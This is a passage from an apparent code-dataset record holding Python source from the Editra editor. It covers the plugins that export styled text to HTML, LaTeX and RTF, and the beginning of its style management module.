wx.GetTranslation\n\nFONT_FALLBACKS = \"Trebuchet, Tahoma, sans-serif\"\n\n#--------------------------------------------------------------------------#\n# Plugin Interface\nclass GeneratorI(plugin.Interface):\n \"\"\"Plugins that are to be used for generating code/document need\n to impliment this interface.\n\n \"\"\"\n def Generate(self, stc):\n \"\"\"Generates the code. The txt_ctrl parameter is a reference\n to an ED_STC object (see ed_stc.py). The return value of this\n function needs to be a 2 item tuple with the first item being\n an associated file extention to use for setting highlighting\n if available and the second item is the string of the new document.\n @param stc: reference to an an stc defined in ed_stc.py\n @see: L{ed_stc}\n\n \"\"\"\n pass\n\n def GetId(self):\n \"\"\"Must return the Id used for the generator objects\n menu id. This is used to identify which Generator to\n call on a menu event.\n @return: menu id that identifies the implemented generator\n\n \"\"\"\n pass\n\n def GetMenuEntry(self, menu):\n \"\"\"Returns the MenuItem entry for this generator\n @return: menu entry for the implemented generator\n @rtype: wx.MenuItem\n\n \"\"\"\n pass\n\n#-----------------------------------------------------------------------------#\n\nclass Generator(plugin.Plugin):\n \"\"\"Plugin Interface Extension Point for Generator\n type plugin objects. Generator objects are used\n to generate a document/code from one type to another.\n\n \"\"\"\n observers = plugin.ExtensionPoint(GeneratorI)\n\n def InstallMenu(self, menu):\n \"\"\"Appends the menu of available Generators onto\n the given menu.\n @param menu: menu to install entries into\n @type menu: wx.Menu\n\n \"\"\"\n # Fetch all the menu items for each generator object\n menu_items = list()\n for observer in self.observers:\n try:\n menu_i = observer.GetMenuEntry(menu)\n if menu_i:\n menu_items.append((menu_i.GetItemLabel(), menu_i))\n except Exception, msg:\n util.Log(\"[generator][err] %s\" % str(msg))\n\n # Construct the menu\n menu_items.sort()\n genmenu = ed_menu.EdMenu()\n for item in menu_items:\n genmenu.AppendItem(item[1])\n menu.AppendMenu(ed_glob.ID_GENERATOR, _(\"Generator\"), genmenu,\n _(\"Generate Code and Documents\"))\n\n def GenerateText(self, e_id, txt_ctrl):\n \"\"\"Generates the new document text based on the given\n generator id and contents of the given ED_STC text control.\n @param e_id: event id originating from menu entry\n @param txt_ctrl: reference document to generate from\n @type txt_ctrl: EditraStc\n @return: the generated text\n @rtype: string\n\n \"\"\"\n gentext = None\n start = time.time()\n # Find the correct generator and run its generate method on the\n # given text control.\n for observer in self.observers:\n if observer.GetId() == e_id:\n gentext = observer.Generate(txt_ctrl)\n util.Log(\"[generator][info] Generation time %f\" % (time.time() - start))\n return gentext\n\n#-----------------------------------------------------------------------------#\n\nclass Html(plugin.Plugin):\n \"\"\"Transforms the text from a given Editra stc to a fully\n styled html page. Inline CSS is generated and inserted into\n the head of the Html to style the text regions by default\n unless requested to generate a separate sheet.\n\n \"\"\"\n plugin.Implements(GeneratorI)\n def __init__(self, mgr):\n \"\"\"Creates the Html object from an Editra stc text control\n @param mgr: This generators plugin manager\n\n \"\"\"\n plugin.Plugin.__init__(self)\n\n # Attributes\n self._id = ed_glob.ID_HTML_GEN\n self.stc = None\n self.head = wx.EmptyString\n self.css = dict()\n self.body = wx.EmptyString\n\n def __str__(self):\n \"\"\"Returns the string of html\n @return: string version of html object\n\n \"\"\"\n # Assemble the embedded html\n style = \"<style type=\\\"text/css\\\">\\n%s</style>\"\n css = wx.EmptyString\n for key in self.css:\n css += str(self.css[key]) + \"\\n\"\n css = css % self.stc.GetFontDictionary()\n style = style % css\n\n # Insert the css into the head\n head = self.head.replace('</head>', style + \"\\n</head>\")\n\n # Assemble the body of the html\n html = \"<html>\\n%s\\n%s\\n</html>\"\n html = html % (head, self.body)\n return html\n\n def Unicode(self):\n \"\"\"Returns the html as unicode\n @return: unicode string of html\n\n \"\"\"\n return unicode(self.__str__())\n\n def Generate(self, stc_ctrl):\n \"\"\"Generates and returns the document\n @param stc_ctrl: text control to get text from\n\n \"\"\"\n self.stc = stc_ctrl\n self.head = self.GenerateHead()\n self.body = self.GenerateBody()\n return (\"html\", self.__str__())\n\n def GenerateHead(self):\n \"\"\"Generates the html head block\n @return: html header information\n @rtype: string\n\n \"\"\"\n return \"<head>\\n<title>%s</title>\\n\" \\\n \"<meta name=\\\"Generator\\\" content=\\\"Editra/%s\\\">\\n\" \\\n \"<meta http-equiv=\\\"content-type\\\" content=\\\"text/html; \" \\\n \"charset=utf-8\\\">\" \\\n \"\\n</head>\" % (ebmlib.GetFileName(self.stc.GetFileName()),\n ed_glob.VERSION)\n\n def GenerateBody(self):\n \"\"\"Generates the body of the html from the stc's content. To do\n this it does a character by character parse of the stc to determine\n style regions and generate css and and styled spans of html in order\n to generate an 'exact' html reqresentation of the stc's window.\n @return: the body section of the html generated from the text control\n\n \"\"\"\n html = list()\n parse_pos = 0\n style_start = 0\n style_end = 0\n last_pos = self.stc.GetLineEndPosition(self.stc.GetLineCount()) + 1\n\n # Get Document start point info\n last_id = self.stc.GetStyleAt(parse_pos)\n tag = self.stc.FindTagById(last_id)\n if tag != wx.EmptyString:\n s_item = StyleItem()\n s_item.SetAttrFromStr(self.stc.GetStyleByName(tag))\n self.css[tag] = CssItem(tag.split('_')[0], s_item)\n\n # Optimizations\n stc = self.stc\n GetStyleAt = stc.GetStyleAt\n\n # Build Html\n while parse_pos < last_pos:\n parse_pos += 1\n curr_id = GetStyleAt(parse_pos)\n style_end = parse_pos\n # If style region has changed close section\n if curr_id == 0 and GetStyleAt(parse_pos + 1) == last_id:\n curr_id = last_id\n\n if curr_id != last_id or parse_pos == last_pos:\n tmp = stc.GetTextRange(style_start, style_end)\n tmp = self.TransformText(tmp)\n if tmp.isspace() or tag in [\"default_style\", \"operator_style\"]:\n html.append(tmp)\n else:\n tmp2 = \"<span class=\\\"%s\\\">%s</span>\"\n html.append(tmp2 % (tag.split('_')[0], tmp))\n\n last_id = curr_id\n style_start = style_end\n tag = stc.FindTagById(last_id)\n if tag not in self.css:\n s_item = StyleItem()\n s_item.SetAttrFromStr(stc.GetStyleByName(tag))\n self.css[tag] = CssItem(tag.split('_')[0], s_item)\n\n # Case for unstyled documents\n if len(html) == 0:\n s_item = StyleItem()\n s_item.SetAttrFromStr(stc.GetStyleByName('default_style'))\n self.css['default_style'] = CssItem('default', s_item)\n html.append(self.TransformText(stc.GetText()))\n else:\n self.OptimizeCss()\n\n return \"<body class=\\\"default\\\">\\n<pre>\\n%s\\n</pre>\\n</body>\" % \\\n \"\".join(html)\n\n def GetId(self):\n \"\"\"Returns the menu identifier for the HTML generator\n @return: id of this object\n\n \"\"\"\n return self._id\n\n def GetMenuEntry(self, menu):\n \"\"\"Returns the Menu control for the HTML generator\n @return: menu entry for this generator\n\n \"\"\"\n return wx.MenuItem(menu, self._id, _(\"Generate %s\") % u\"HTML\",\n _(\"Generate a %s version of the \" \\\n \"current document\") % u\"HTML\")\n\n def OptimizeCss(self):\n \"\"\"Optimizes the CSS Set\n @postcondition: css is optimized to remove any redundant entries\n\n \"\"\"\n # Must have the default style defined\n if 'default_style' not in self.css:\n return\n\n # Don't style operators. This is to optimize the html size\n if 'operator_style' in self.css:\n self.css.pop('operator_style')\n\n # All other css elements will inheirit from the default\n default = self.css['default_style']\n for key in self.css:\n if key == 'default_style':\n continue\n if default.GetFont() == self.css[key].GetFont():\n self.css[key].SetFont(wx.EmptyString)\n if default.GetFontSize() == self.css[key].GetFontSize():\n self.css[key].SetFontSize(wx.EmptyString)\n if default.GetBackground() == self.css[key].GetBackground():\n self.css[key].SetBackground(wx.EmptyString)\n if default.GetColor() == self.css[key].GetColor():\n self.css[key].SetColor(wx.EmptyString)\n for item in default.GetDecorators():\n if item in self.css[key].GetDecorators():\n self.css[key].RemoveDecorator(item)\n\n def TransformText(self, text):\n \"\"\"Does character substitution on a string and returns\n the html equivlant of the given string.\n @param text: text to transform\n @return: text with all special characters transformed\n\n \"\"\"\n text = text.replace('&', \"&amp;\") # Ampersands\n text = text.replace('<', \"&lt;\") # Less Than Symbols\n text = text.replace('>', \"&gt;\") # Greater Than Symbols\n text = text.replace(\"\\\"\", \"&quot;\")\n return text\n\n#-----------------------------------------------------------------------------#\n\nclass CssItem:\n \"\"\"Converts an Edtira StyleItem to a Css item for use in\n generating html.\n\n \"\"\"\n def __init__(self, class_tag, style_item):\n \"\"\"Initilizes a Css object equivilant of an Editra StyleItem\n @note: it is left up to the caller to do any string substituition\n for font faces and size values as this class will contruct the css\n item as a mere reformation of StyleItem\n @param class_tag: StyleItem tag name\n @param style_item: style item to convert to css\n @type style_item: ed_style.StyleItem\n @see: L{ed_style}\n\n \"\"\"\n\n # Attributes\n self._tag = class_tag\n self._back = style_item.GetBack()\n self._fore = style_item.GetFore()\n self._font = style_item.GetFace()\n self._size = style_item.GetSize()\n\n # List of additional style specs\n self._decor = self.ExtractDecorators()\n self._decor.extend(style_item.GetModifierList())\n\n def __eq__(self, css2):\n \"\"\"Defines the == operator for the CssItem class\n @param css2: CssItem to compare to\n @return: whether the two items are equivalant\n @rtype: bool\n\n \"\"\"\n return self.__str__() == str(css2)\n\n def __str__(self):\n \"\"\"Outputs the css item as a formatted css block\n @return: CssItem as a string\n\n \"\"\"\n # Generate the main style attribures\n css = \".%s {\\n%s}\"\n css_body = wx.EmptyString\n if self._font != wx.EmptyString:\n font = self._font.split(',')\n css_body += u\"\\tfont-family: %s, %s;\\n\" % (font[0], FONT_FALLBACKS)\n if self._size != wx.EmptyString:\n size = self._size.split(',')\n css_body += u\"\\tfont-size: %s;\\n\" % str(size[0])\n if self._fore != wx.EmptyString:\n fore = self._fore.split(',')\n css_body += u\"\\tcolor: %s;\\n\" % fore[0]\n if self._back != wx.EmptyString:\n back = self._back.split(',')\n css_body += u\"\\tbackground-color: %s;\\n\" % back[0]\n\n # Add additional style modifiers\n for item in self._decor:\n if item == u'bold':\n css_body += u\"\\tfont-weight: %s;\\n\" % item\n elif item == u'italic':\n css_body += u\"\\tfont-style: %s;\\n\" % item\n elif item == u'underline':\n css_body += u\"\\ttext-decoration: %s;\\n\" % item\n else:\n pass\n\n # Format the tag and body into the css def\n if css_body != wx.EmptyString:\n return css % (self._tag, css_body)\n else:\n return css_body\n\n def ExtractDecorators(self):\n \"\"\"Pulls additional style specs from the StyleItem such\n as bold, italic, and underline styles.\n @return: all decorators in the StyleItem (bold, underline, ect...)\n\n \"\"\"\n decor = list()\n for val in [ self._back, self._fore, self._font, self._size ]:\n tmp = val.split(u',')\n if len(tmp) < 2:\n continue\n else:\n decor.append(tmp[1])\n return decor\n\n def GetBackground(self):\n \"\"\"Returns the Background value\n @return: background color attribute\n\n \"\"\"\n return self._back\n\n def GetColor(self):\n \"\"\"Returns the Font/Fore Color\n @return: foreground color attribute\n\n \"\"\"\n return self._fore\n\n def GetDecorators(self):\n \"\"\"Returns the list of decorators\n @return: list of decorators item uses\n\n \"\"\"\n return self._decor\n\n def GetFont(self):\n \"\"\"Returns the Font Name\n @return: font name attribute\n\n \"\"\"\n return self._font\n\n def GetFontSize(self):\n \"\"\"Returns the Font Size\n @return: font size attribute\n\n \"\"\"\n return self._size\n\n def RemoveDecorator(self, item):\n \"\"\"Removes a specifed decorator from the decorator set\n @param item: decorator item to remove\n @type item: string\n\n \"\"\"\n if item in self._decor:\n self._decor.remove(item)\n else:\n pass\n\n def SetBackground(self, hex_str):\n \"\"\"Sets the Background Color\n @param hex_str: hex color string to set backround attribute with\n\n \"\"\"\n self._back = hex_str\n\n def SetColor(self, hex_str):\n \"\"\"Sets the Font/Fore Color\n @param hex_str: hex color string to set foreround attribute with\n\n \"\"\"\n self._fore = hex_str\n\n def SetFont(self, font_face):\n \"\"\"Sets the Font Face\n @param font_face: font face name to set font attribute with\n\n \"\"\"\n self._font = font_face\n\n def SetFontSize(self, size_str):\n \"\"\"Sets the Font Point Size\n @param size_str: point size to use for font in style\n @type size_str: string\n\n \"\"\"\n self._size = size_str\n\n#-----------------------------------------------------------------------------#\n\nclass LaTeX(plugin.Plugin):\n \"\"\"Creates a LaTeX document object from the contents of the\n supplied document reference.\n @todo: performance improvements and wordwrap in generated document\n\n \"\"\"\n plugin.Implements(GeneratorI)\n def __init__(self, plgmgr):\n \"\"\"Initializes the LaTeX object\n @param plgmgr: pluginmanger for this object\n\n \"\"\"\n plugin.Plugin.__init__(self)\n\n # Attributes\n self._stc = None\n self._id = ed_glob.ID_TEX_GEN\n self._dstyle = StyleItem()\n self._cmds = dict()\n\n def CreateCmdName(self, name):\n \"\"\"Creates and returns a proper cmd name\n @param name: name to construct command from\n @return: latex formated command string\n\n \"\"\"\n name = name.replace('_', '')\n tmp = list()\n alpha = \"ABCDEFGHIJ\"\n for char in name:\n if char.isdigit():\n tmp.append(alpha[int(char)])\n else:\n tmp.append(char)\n return \"\".join(tmp)\n\n def GenDoc(self):\n \"\"\"Generates the document body of the LaTeX document\n @returns: the main body of the reference document marked up with latex\n\n \"\"\"\n tex = list()\n tmp = u''\n start = parse_pos = 0\n last_pos = self._stc.GetLineEndPosition(self._stc.GetLineCount())\n\n # Define the default style\n self.RegisterStyleCmd('default_style', \\\n self._stc.GetItemByName('default_style'))\n\n # Get Document start point info\n last_id = self._stc.GetStyleAt(parse_pos)\n tmp = self.TransformText(self._stc.GetTextRange(parse_pos,\n parse_pos + 1))\n tag = self._stc.FindTagById(last_id)\n if tag != wx.EmptyString:\n self.RegisterStyleCmd(tag, self._stc.GetItemByName(tag))\n\n # Optimizations\n stc = self._stc\n GetStyleAt = stc.GetStyleAt\n GetTextRange = stc.GetTextRange\n TransformText = self.TransformText\n\n # Build LaTeX\n for parse_pos in xrange(last_pos + 1):\n curr_id = GetStyleAt(parse_pos)\n if parse_pos > 1:\n # This is the performance bottleneck, changeing the text\n # collection to when the style changes is much faster as\n # it only needs to be done once per style section instead\n # of once per character. Doing that however causes problems\n # with the style and resulting document formatting.\n tmp = TransformText(GetTextRange((parse_pos - 1), parse_pos))\n\n if curr_id == 0 and GetStyleAt(parse_pos + 1) == last_id:\n curr_id = last_id\n\n # If style region has changed close section\n if curr_id != last_id or tmp[-1] == \"\\n\":\n tmp_tex = TransformText(GetTextRange(start, parse_pos))\n# tmp_tex = u\"\".join(tmp)\n if tag == \"operator_style\" or \\\n (tag == \"default_style\" and \\\n tmp_tex.isspace() and len(tmp_tex) <= 2):\n tex.append(tmp_tex)\n else:\n if \"\\\\\\\\\\n\" in tmp_tex:\n tmp_tex = tmp_tex.replace(\"\\\\\\\\\\n\", \"\")\n tmp2 = \"\\\\%s{%s}\\\\\\\\\\n\"\n else:\n tmp2 = \"\\\\%s{%s}\"\n\n cmd = self.CreateCmdName(tag)\n if cmd in [None, wx.EmptyString]:\n cmd = \"defaultstyle\"\n tex.append(tmp2 % (cmd, tmp_tex))\n\n last_id = curr_id\n tag = stc.FindTagById(last_id)\n if tag not in [None, wx.EmptyString]:\n self.RegisterStyleCmd(tag, stc.GetItemByName(tag))\n tmp = list()\n start = parse_pos\n\n # Case for unstyled documents\n if tex == wx.EmptyString:\n tex.append(self.TransformText(stc.GetText()))\n return \"\\\\begin{document}\\n%s\\n\\\\end{document}\" % \"\".join(tex)\n\n def Generate(self, stc_doc):\n \"\"\"Generates the LaTeX document\n @param stc_doc: text control to generate latex from\n @return: the reference document marked up in LaTeX.\n\n \"\"\"\n self._stc = stc_doc\n default_si = self._stc.GetItemByName('default_style')\n self._dstyle.SetBack(default_si.GetBack().split(',')[0])\n self._dstyle.SetFore(default_si.GetFore().split(',')[0])\n self._dstyle.SetFace(default_si.GetFace().split(',')[0])\n self._dstyle.SetSize(default_si.GetSize().split(',')[0])\n body = self.GenDoc()\n preamble = self.GenPreamble()\n return (\"tex\", u\"\".join([preamble, body]))\n\n def GenPreamble(self):\n \"\"\"Generates the Preamble of the document\n @return: the LaTeX document preamble\n\n \"\"\"\n # Preamble template\n pre = (\"%% \\iffalse meta-comment\\n\"\n \"%%\\n%% Generated by Editra %s\\n\"\n \"%% This is generator is Very Experimental.\\n\"\n \"%% The code should compile in most cases but there may\\n\"\n \"%% be some display issues when rendered.\\n\"\n \"%%\\n%%\\n\\n\"\n \"\\\\documentclass[11pt, a4paper]{article}\\n\"\n \"\\\\usepackage[a4paper, margin=2cm]{geometry}\\n\"\n \"\\\\usepackage[T1]{fontenc}\\n\"\n# \"\\\\usepackage{ucs}\\n\"\n# \"\\\\usepackage[utf8]{inputenc}\\n\"\n \"\\\\usepackage{color}\\n\"\n \"\\\\usepackage{alltt}\\n\"\n \"\\\\usepackage{times}\\n\") % ed_glob.VERSION\n\n # Set the background color\n pre += (\"\\\\pagecolor[rgb]{%s}\\n\" % \\\n self.HexToRGB(self._dstyle.GetBack()))\n pre += \"\\\\parindent=0in\\n\\n\"\n\n # Insert all styling commands\n pre += \"%% Begin Styling Command Definitions\"\n for cmd in self._cmds:\n pre += (\"\\n\" + self._cmds[cmd])\n pre += \"\\n%% End Styling Command Definitions\\n\\n\"\n return pre\n\n def GetId(self):\n \"\"\"Returns the menu identifier for the LaTeX generator\n @return: id of that identifies this generator\n\n \"\"\"\n return self._id\n\n def GetMenuEntry(self, menu):\n \"\"\"Returns the Menu control for the LaTeX generator\n @param menu: menu to create MenuItem for\n\n \"\"\"\n return wx.MenuItem(menu, self._id, _(\"Generate %s\") % u\"LaTeX\",\n _(\"Generate an %s version of the \" \\\n \"current document\") % u\"LaTeX\")\n\n def HexToRGB(self, hex_str):\n \"\"\"Returns a comma separated rgb string representation\n of the input hex string. 1.0 = White, 0.0 = Black.\n @param hex_str: hex string to convert to latex rgb format\n\n \"\"\"\n r_hex = hex_str\n if r_hex[0] == u\"#\":\n r_hex = r_hex[1:]\n ldiff = 6 - len(r_hex)\n r_hex += ldiff * u\"0\"\n # Convert hex values to integer\n red = round(float(float(int(r_hex[0:2], 16)) / 255), 2)\n green = round(float(float(int(r_hex[2:4], 16)) / 255), 2)\n blue = round(float(float(int(r_hex[4:], 16)) / 255), 2)\n return \"%s,%s,%s\" % (str(red), str(green), str(blue))\n\n def RegisterStyleCmd(self, cmd_name, s_item):\n \"\"\"Registers and generates a command from the\n supplied StyleItem.\n @param cmd_name: name of command\n @param s_item: style item to create command for\n @postcondition: new styling command is created and registered for use\n\n \"\"\"\n cmd_name = self.CreateCmdName(cmd_name)\n\n # If we already made a command for this style return\n if cmd_name in self._cmds:\n return\n\n # Templates\n uline_tmp = u\"\\\\underline{%s}\"\n ital_tmp = u\"\\\\emph{%s}\"\n bold_tmp = u\"\\\\textbf{%s}\"\n fore_tmp = u\"\\\\textcolor[rgb]{%s}{%s}\"\n back_tmp = u\"\\\\colorbox[rgb]{%s}{#1}\"\n cmd_tmp = u\"\\\\newcommand{%s}[1]{%s}\"\n\n # Get Style Attributes\n fore = s_item.GetFore()\n if fore == wx.EmptyString:\n fore = self._dstyle.GetFore()\n back = s_item.GetBack()\n if back == wx.EmptyString:\n back = self._dstyle.GetBack()\n face = s_item.GetFace()\n if face == wx.EmptyString:\n face = self._dstyle.GetFace()\n size = s_item.GetSize()\n if size == wx.EmptyString:\n size = self._dstyle.GetSize()\n\n back = back_tmp % self.HexToRGB(back.split(u',')[0])\n fore = fore_tmp % (self.HexToRGB(fore.split(u',')[0]), back)\n if u\"bold\" in unicode(s_item):\n fore = bold_tmp % fore\n if u\"underline\" in unicode(s_item):\n fore = uline_tmp % fore\n if u\"italic\" in unicode(s_item):\n fore = ital_tmp % fore\n cmd = cmd_tmp % ((u\"\\\\\" + cmd_name), u\"\\\\texttt{\\\\ttfamily{%s}}\" % fore)\n self._cmds[cmd_name] = cmd\n\n def TransformText(self, txt):\n \"\"\"Transforms the given text into LaTeX format, by\n escaping all special characters and sequences.\n @param txt: text to transform\n @return: txt with all special characters transformed\n\n \"\"\"\n ch_map = { \"#\" : \"\\\\#\", \"$\" : \"\\\\$\", \"^\" : \"\\\\^\",\n \"%\" : \"\\\\%\", \"&\" : \"\\\\&\", \"_\" : \"\\\\_\",\n \"{\" : \"\\\\{\", \"}\" : \"\\\\}\", \"~\" : \"\\\\~\",\n \"\\\\\": \"$\\\\backslash$\", \"\\n\" : \"\\\\\\\\\\n\",\n \"@\" : \"$@$\", \"<\" : \"$<$\", \">\" : \"$>$\",\n \"-\" : \"$-$\", \"|\" : \"$|$\"\n }\n tmp = list()\n for char in txt:\n tmp.append(ch_map.get(char, char))\n return u''.join(tmp)\n\n#-----------------------------------------------------------------------------#\n\nclass Rtf(plugin.Plugin):\n \"\"\"Generates a fully styled RTF document from the given text\n controls contents.\n @todo: add support for bold/italic/underline and multiple fonts\n\n \"\"\"\n plugin.Implements(GeneratorI)\n def __init__(self, mgr):\n \"\"\"Initializes and declares the attribute values for\n this generator.\n @param mgr: plugin manager of this object\n\n \"\"\"\n plugin.Plugin.__init__(self)\n\n # Attributes\n self._stc = None\n self._id = ed_glob.ID_RTF_GEN\n self._colortbl = RtfColorTbl()\n\n def __str__(self):\n \"\"\"Returns the RTF object as a string\n @return: rtf object as a string\n\n \"\"\"\n return self._GenRtf()\n\n #---- Protected Member Functions ----#\n def _GenRtf(self):\n \"\"\"Generates the RTF equivalent of the displayed text in the current\n stc document window.\n @precondition: self._stc must have been set by a call to Generate\n @return: generated rtf marked up text\n\n \"\"\"\n # Buffer hasn't been set\n if self._stc is None:\n return u''\n\n # Optimizations\n stc = self._stc\n def_fore = stc.GetDefaultForeColour(as_hex=True)\n self._colortbl.AddColor(def_fore)\n def_back = stc.GetDefaultBackColour(as_hex=True)\n self._colortbl.AddColor(def_back)\n last_pos = stc.GetLineEndPosition(stc.GetLineCount())\n parse_pos = 0\n last_id = None\n last_fore = None\n last_back = None\n start = end = 0\n tmp_txt = list()\n font_tmp = \"\\\\f0\"\n fore_tmp = \"\\\\cf%d\"\n back_tmp = \"\\\\cb%d\"\n AddColor = self._colortbl.AddColor\n GetColorIndex = self._colortbl.GetColorIndex\n GetStyleAt = stc.GetStyleAt\n\n # Parse all characters/style bytes in document\n for parse_pos in xrange(last_pos + 1):\n sty_id = GetStyleAt(parse_pos)\n end = parse_pos\n\n # If style has changed build the previous section\n if sty_id != last_id:\n tag = stc.FindTagById(last_id)\n s_item = stc.GetItemByName(tag)\n AddColor(s_item.GetFore())\n AddColor(s_item.GetBack())\n tplate = font_tmp\n fid = GetColorIndex(s_item.GetFore())\n if fid != last_fore:\n last_fore = fid\n tplate = tplate + (fore_tmp % fid)\n bid = GetColorIndex(s_item.GetBack())\n if bid != last_back:\n last_back = bid\n tplate = tplate + (back_tmp % bid)\n tmp_txt.append(tplate + \" \" + \\\n self.TransformText(stc.GetTextRange(start, end)))\n start = end\n last_id = sty_id\n\n head = \"{\\\\rtf1\\\\ansi\\\\deff0{\\\\fonttbl{\\\\f0 %s;}}\" % \\\n stc.GetDefaultFont().GetFaceName()\n return u\"%s%s%s}\" % (head, self._colortbl, \"\".join(tmp_txt))\n\n #---- End Protected Member Functions ----#\n\n def Generate(self, stc_doc):\n \"\"\"Implements the GeneratorI's Generator Function by\n returning the RTF equvialent of the given stc_doc\n @param stc_doc: document to generate text from\n @return: document marked up in rtf\n\n \"\"\"\n self._stc = stc_doc\n return ('rtf', self._GenRtf())\n\n def GetId(self):\n \"\"\"Implements the GeneratorI's GetId function by returning\n the identifier for this generator.\n @return: identifier for this generator\n\n \"\"\"\n return self._id\n\n def GetMenuEntry(self, menu):\n \"\"\"Implements the GeneratorI's GetMenuEntry function by\n returning the MenuItem to associate with this object.\n @return: menu entry item for this generator\n\n \"\"\"\n return wx.MenuItem(menu, self._id, _(\"Generate %s\") % u\"RTF\",\n _(\"Generate a %s version of the \" \\\n \"current document\") % u\"RTF\")\n\n def TransformText(self, text):\n \"\"\"Transforms the given text by converting it to RTF format\n @param text: text to transform\n @return: text with all special characters transformed\n \"\"\"\n chmap = { \"\\t\" : \"\\\\tab \", \"{\" : \"\\\\{\", \"}\" : \"\\\\}\",\n \"\\\\\" : \"\\\\\\\\\", \"\\n\" : \"\\\\par\\n\", \"\\r\" : \"\\\\par\\n\"}\n text = text.replace('\\r\\n', '\\n')\n tmp = u''\n for char in text:\n tmp = tmp + chmap.get(char, char)\n return tmp\n\n#-----------------------------------------------------------------------------#\n\nclass RtfColorTbl:\n \"\"\"A storage class to help with generating the color table for\n the Rtf Generator Class.\n @see: Rtf\n\n \"\"\"\n def __init__(self):\n \"\"\"Initialize the color table\n @summary: creates an object for managing an rtf documents color table\n\n \"\"\"\n # Attributes\n self._index = list() # manages the order of the tables keys\n self._tbl = dict() # map of style item color vals to rtf defs\n\n def __str__(self):\n \"\"\"Returns the string representation of the table\n @return: rtf color table object as an rtf formatted string\n\n \"\"\"\n rstr = u''\n for item in self._index:\n rstr = rstr + self._tbl[item]\n return u\"{\\\\colortbl%s}\" % rstr\n\n def AddColor(self, si_color):\n \"\"\"Takes a style item and adds it to the table if\n has not already been defined in the table.\n @param si_color: color to add to table\n @type si_color: hex color string\n\n \"\"\"\n if si_color not in self._index:\n rgb = eclib.HexToRGB(si_color.split(u',')[0])\n color = \"\\\\red%d\\\\green%d\\\\blue%d;\" % tuple(rgb)\n self._index.append(si_color)\n self._tbl[si_color] = color\n else:\n pass\n\n def GetColorIndex(self, si_color):\n \"\"\"Gets the index of a particular style items color\n definition from the color table. Returns -1 if item is\n not found.\n @param si_color: style item color to find index in table for\n @return: the colors index in the table\n\n \"\"\"\n if si_color in self._index:\n return self._index.index(si_color)\n else:\n return -1\n", "id": "6241241", "language": "Python", "matching_score": 6.226843357086182, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/generator.py" }, { "content": "###############################################################################\n# Name: ed_style.py #\n# Purpose: Editra's style management system. Implements the interpretation of #\n# Editra Style Sheets to the StyledTextCtrl. #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008-2011 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nProvides a system for managing styles in the text control. Compiles the data\nin an Editra Style Sheet to a format that Scintilla can understand. The\nspecification of Editra Style Sheets that this module implements can be found\neither in the _docs_ folder of the source distribution or on Editra's home page\nU{http://editra.org/editra_style_sheets}.\n\n@summary: Style management system for managing the syntax highlighting of all\n buffers\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: ed_style.py 67815 2011-05-31 19:08:47Z CJP $\"\n__revision__ = \"$Revision: 67815 $\"\n\n#--------------------------------------------------------------------------#\n# Imports\nimport os\nimport re\nimport wx\n\n# Editra Libraries\nimport ed_glob\nimport util\nfrom profiler import Profile_Get, Profile_Set\nimport eclib\n\n# Globals\nSTY_ATTRIBUTES = (u\"face\", u\"fore\", u\"back\", u\"size\", u\"modifiers\")\nSTY_EX_ATTRIBUTES = (u\"eol\", u\"bold\", u\"italic\", u\"underline\")\n\n# Parser Values\nRE_ESS_COMMENT = re.compile(\"\\/\\*[^*]*\\*+([^/][^*]*\\*+)*\\/\")\nRE_ESS_SCALAR = re.compile(\"\\%\\([a-zA-Z0-9]+\\)\")\nRE_HEX_STR = re.compile(\"#[0-9a-fA-F]{3,6}\")\n\n#--------------------------------------------------------------------------#\n\nclass StyleItem(object):\n \"\"\"A storage class for holding styling information \"\"\"\n __slots__ = ('null', 'fore', 'face', 'back', 'size', '_exattr')\n def __init__(self, fore=u\"\", back=u\"\", face=u\"\", size=u\"\", ex=None):\n \"\"\"Initializes the Style Object.\n\n @keyword fore: Specifies the foreground color (hex string)\n @keyword face: Specifies the font face (string face name)\n @keyword back: Specifies the background color (hex string)\n @keyword size: Specifies font point size (int/formatted string)\n @keyword ex: Specify modifiers\n\n SPECIFICATION:\n - DATA FORMATS:\n - #123456 = hex color code\n - Monaco = Font Face Name\n - %(primary)s = Format string to be swapped at runtime\n - 10 = A font point size\n - %(size)s = Format string to be swapped at runtime\n - ex = bold underline italic eol\n\n \"\"\"\n super(StyleItem, self).__init__()\n\n if ex is None:\n ex = list()\n \n # Attributes\n self.null = False\n self.fore = fore # Foreground color hex code\n self.face = face # Font face name\n self.back = back # Background color hex code\n self.size = size # Font point size\n self._exattr = ex # Extra attributes\n\n def __eq__(self, other):\n \"\"\"Defines the == operator for the StyleItem Class\n @param si2: style item to compare to\n @return: whether the two items are equal\n @rtype: bool\n\n \"\"\"\n return unicode(self) == unicode(other)\n\n def __ne__(self, other):\n \"\"\"Defines != operator for the StyleItem Class\"\"\"\n return unicode(self) != unicode(other)\n\n def __str__(self):\n \"\"\"Convert StyleItem to string\"\"\"\n uni = unicode(self)\n return uni.encode('utf-8')\n\n def __unicode__(self):\n \"\"\"Converts StyleItem to Unicode\n @note: This return string is in a format that can be accepted by\n Scintilla. No spaces may be in the string after the ':'.\n @return: Unicode representation of the StyleItem\n\n \"\"\"\n style_str = list()\n if self.fore:\n style_str.append(u\"fore:%s\" % self.fore)\n if self.back:\n style_str.append(u\"back:%s\" % self.back)\n if self.face:\n style_str.append(u\"face:%s\" % self.face)\n if self.size:\n style_str.append(u\"size:%s\" % unicode(self.size))\n if len(self._exattr):\n style_str.append(u\"modifiers:\" + u','.join(self._exattr))\n\n style_str = u\",\".join(style_str)\n return style_str.rstrip(u\",\")\n\n def Clone(self):\n \"\"\"Make and return a copy of this object\"\"\"\n nitem = StyleItem(self.fore, self.back,\n self.face, self.size,\n self._exattr)\n if self.null:\n nitem.Nullify()\n return nitem\n \n #---- Get Functions ----#\n def GetAsList(self):\n \"\"\"Returns a list of attr:value strings\n this style item.\n @return: list attribute values usable for building stc or ess values\n\n \"\"\"\n retval = list()\n for attr in ('fore', 'back', 'face', 'size'):\n val = getattr(self, attr, None)\n if val not in ( None, wx.EmptyString ):\n retval.append(attr + ':' + val)\n\n if len(self._exattr):\n retval.append(\"modifiers:\" + u\",\".join(self._exattr))\n return retval\n\n def GetBack(self):\n \"\"\"Returns the value of the back attribute\n @return: style items background attribute\n\n \"\"\"\n return self.back\n\n def GetFace(self):\n 